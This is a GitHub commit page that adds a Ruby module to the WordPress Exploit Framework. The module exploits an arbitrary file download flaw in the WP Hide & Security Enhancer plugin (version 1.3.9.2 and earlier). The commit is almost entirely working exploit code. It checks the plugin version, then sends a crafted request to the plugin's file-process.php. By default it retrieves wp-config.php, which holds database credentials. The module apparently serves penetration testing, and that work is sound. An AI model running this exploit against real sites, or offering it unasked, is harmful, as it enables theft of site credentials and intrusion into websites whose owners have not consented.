Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 973f014

Browse files
committed
Add WP Hide & Security Enhancer <= 1.3.9.2 file download
1 parent aaceebf commit 973f014

File tree

1 file changed

+49
-0
lines changed

1 file changed

+49
-0
lines changed
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
class Wpxf::Auxiliary::WpHideSecurityEnhancerFileDownload < Wpxf::Module
2+
include Wpxf::WordPress::FileDownload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'WP Hide & Security Enhancer <= 1.3.9.2 File Download',
9+
author: [
10+
'Julio Potier', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8867'],
15+
['URL', 'https://secupress.me/blog/arbitrary-file-download-vulnerability-in-wp-hide-security-enhancer-1-3-9-2/']
16+
],
17+
date: 'Jul 21 2017'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('wp-hide-security-enhancer', '1.3.9.3')
23+
end
24+
25+
def default_remote_file_path
26+
'wp-config.php'
27+
end
28+
29+
def working_directory
30+
'the WordPress installation directory'
31+
end
32+
33+
def downloader_url
34+
normalize_uri(wordpress_url_plugins, 'wp-hide-security-enhancer', 'router', 'file-process.php')
35+
end
36+
37+
def download_request_params
38+
{ 'action' => 'style-clean', 'file_path' => "/#{remote_file}" }
39+
end
40+
41+
def validate_content(content)
42+
if content.empty?
43+
emit_error 'No content returned, file may not exist.'
44+
return false
45+
end
46+
47+
true
48+
end
49+
end

0 commit comments

Comments
 (0)